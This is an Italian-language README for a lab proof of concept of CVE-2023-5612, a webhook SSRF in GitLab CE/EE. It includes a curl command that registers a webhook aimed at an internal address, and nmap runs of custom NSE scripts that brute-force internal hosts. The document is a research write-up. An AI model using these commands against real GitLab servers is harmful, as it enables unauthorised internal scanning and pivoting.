
Proof-of-concept e analisi per CVE-2023-5612, un SSRF tramite webhook in GitLab CE/EE. Include passaggi PoC con curl e script NSE personalizzati per verificare e forzare URL interni.
Una vulnerabilità SSRF in GitLab CE/EE consente agli attaccanti con accesso valido come Project Maintainer di inviare richieste craftate verso servizi interni arbitrari tramite URL webhook malevoli. Lo sfruttamento porta a scansione della rete interna, fuga di metadati o ulteriore pivoting.
curl -s --header "PRIVATE-TOKEN: <TOKEN>" \
--data-urlencode "url=http://127.0.0.1:8888" \
http://<gitlab-host>:8080/api/v4/projects/<project_id>/hooks
- Kali Linux all'interno di una macchina virtuale, distribuita appositamente per il testing
- Istanza di GitLab CE vulnerabile avviata tramite Docker (porta 8080)
- All'interno di GitLab:
- Creato un progetto di test
- Generato un Personal Access Token (glpat-...) con privilegi Maintainer
- Per il target SSRF interno è stato avviato un servizio HTTP minimale su 127.0.0.1:8888
- Conferma manuale della vulnerabilità tramite curl (vedi PoC)
- Creazione di script NSE personalizzati:
gitlab-ssrf.nse: verifica mirata dell'SSRF
gitlab-ssrf-brute.nse: brute force automatico degli indirizzi interni
- Test con nmap -d e --script-trace, per analizzare il comportamento dell'API e registrare i risultati
- Ricezione di una risposta 401 Unauthorized dal servizio interno, che indica un SSRF riuscito
- Una richiesta riuscita restituirà `201 Created` oppure un errore del tipo `401 Unauthorized`, che indica accesso SSRF.
nmap -p 8080 \
--script ./gitlab-ssrf.nse \
--script-args gitlab.token="<TOKEN>" \
<target-ip>
nmap -p 8080 \
--script ./gitlab-ssrf-brute.nse \
--script-args gitlab.token="<TOKEN>" \
<target-ip>
Durante il lavoro sulla vulnerabilità **CVE-2023-5612** è stato riprodotto con successo uno scenario di attacco SSRF con accesso a indirizzi interni tramite l'API di GitLab CE. Ciò dimostra quanto sia importante limitare le capacità dei webhook e implementare la validazione degli URL lato server.
.
├── gitlab-ssrf.nse # NSE script for manual SSRF verification
├── gitlab-ssrf-brute.nse # NSE brute script to scan internal hosts/ports
├── screenshots/ # Screenshot dell'esecuzione del PoC e conferma della vulnerabilità
└── README.md # Questo file
Pavel Topskiy
GitHub • Security Analyst, Red Team Analyst
Tutti i test sono stati eseguiti in ambienti di laboratorio isolati su versioni intenzionalmente vulnerabili. Non utilizzare questo materiale contro sistemi non autorizzati. Rispettare i principi dell'hacking etico.